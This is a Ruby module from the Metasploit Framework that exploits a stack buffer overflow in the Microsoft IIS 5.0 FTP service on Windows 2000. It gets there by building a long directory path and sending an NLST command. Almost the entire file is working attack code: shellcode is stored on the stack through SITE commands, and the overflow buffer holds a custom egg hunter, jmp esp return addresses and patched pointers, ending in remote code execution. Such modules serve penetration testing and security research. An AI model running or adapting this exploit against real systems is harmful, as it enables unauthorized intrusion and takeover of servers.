##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  
  include Msf::Exploit::Remote::Ftp
  
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft IIS FTP Server NLST Response Overflow',
      'Description'    => %q{
        This module exploits a stack overflow flaw in the Microsoft IIS FTP
      service. The flaw is triggered when a special NLST argument is passed
      while the session has changed into a long directory path. For this exploit
      to work, the FTP server must be configured to allow write access to the
      file system (either anonymously or in conjunction with a real account)
          
      },
      'Author'         => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['URL', 'http://milw0rm.com/exploits/9541'],
          ['BID', '36189'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 490,
          'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
          # This is for the stored payload, the real BadChar list for file paths is:
          # \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [    
          [
            'Windows 2000 SP4 English/Italian (IIS 5.0)',
            {
              'Platform' => 'win',
              'Ret'      => 0x773d24eb,  # jmp esp in activeds.dll (English / 5.0.2195.6601)
              'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
            },
          ],
          [
            'Windows 2000 SP3 English (IIS 5.0)',
            {
              'Platform' => 'win',
              'Ret'      => 0x77e42ed8,  # jmp esp in user32.dll (English / 5.0.2195.7032)
              'Patch'    => 0x7ffd7ffd   # works for off-by-two alignment
            },
          ],
        ],
      'DisclosureDate' => 'Aug 31 2009',
      'DefaultTarget' => 0))

    register_options([Opt::RPORT(21),], self.class)
  end


  def exploit
    connect_login


    based = rand_text_alpha_upper(10)
    
    res   = send_cmd( ['MKD', based ], true )    
    print_status(res.strip)
    
    if (res !~ /directory created/)
      print_error("The root directory of the FTP server is not writeable")
      disconnect
      return
    end
    
    res   = send_cmd( ['CWD', based ], true )
    print_status(res.strip)
    
    egg = rand_text_alpha_upper(4)
    hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"
    
    # This egg hunter is necessary because of the huge set of restricted characters for directory names
    # The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
    # The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
    # to locate the real shellcode. The only change from the original hunter was to randomize the
    # prefix used.
    
    # Store our real shellcode on the stack
    1.upto(5) do
      res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true )
    end
    
    # Create the directory path that will be used in the overflow
    pre = rand_text_alpha_upper(3)              # esp+0x28 points here    
    pst = rand_text_alpha_upper(210)            # limited by max path

    pst[  0, hun.length]  = hun                 # egg hunter
    pst[ 90,  4]  = [target['Patch']].pack('V') # patch smashed pointers  
    pst[ 94,  4]  = [target['Patch']].pack('V')  # patch smashed pointers
    pst[140, 32]  = [target['Patch']].pack('V') * 8  # patch smashed pointers
    pst[158,  4]  = [target.ret].pack("V")      # return
    pst[182,  5]  = "\xe9" + [-410].pack("V")   # jmp back
    
    # Escape each 0xff with another 0xff for FTP
    pst = pst.gsub("\xff", "\xff\xff")
    
    print_status("Creating long directory...")
    res   = send_cmd( ['MKD', pre+pst ], true )    
    print_status(res.strip)
    
    srv    = Rex::Socket::TcpServer.create(
      'LocalHost' => '0.0.0.0',
      'LocalPort' =>  0,
      'SSL'       => false,
      'Context'   => {
          'Msf'        => framework,
          'MsfExploit' => self,
      }
    )
    
    begin
      
    thr = Thread.new { srv.accept }
    
      prt   = srv.getsockname[2]
      prt1  = prt / 256
      prt2  = prt % 256

      addr  = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"

      res   = send_cmd( ['PORT', addr ], true )    
      print_status(res.strip)

      print_status("Trying target #{target.name}...")  

      res   = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )  
      print_status(res.strip) if res

      sleep(2)
      
      handler
      disconnect
    
    ensure
      thr.kill
      srv.close

    end
  end

end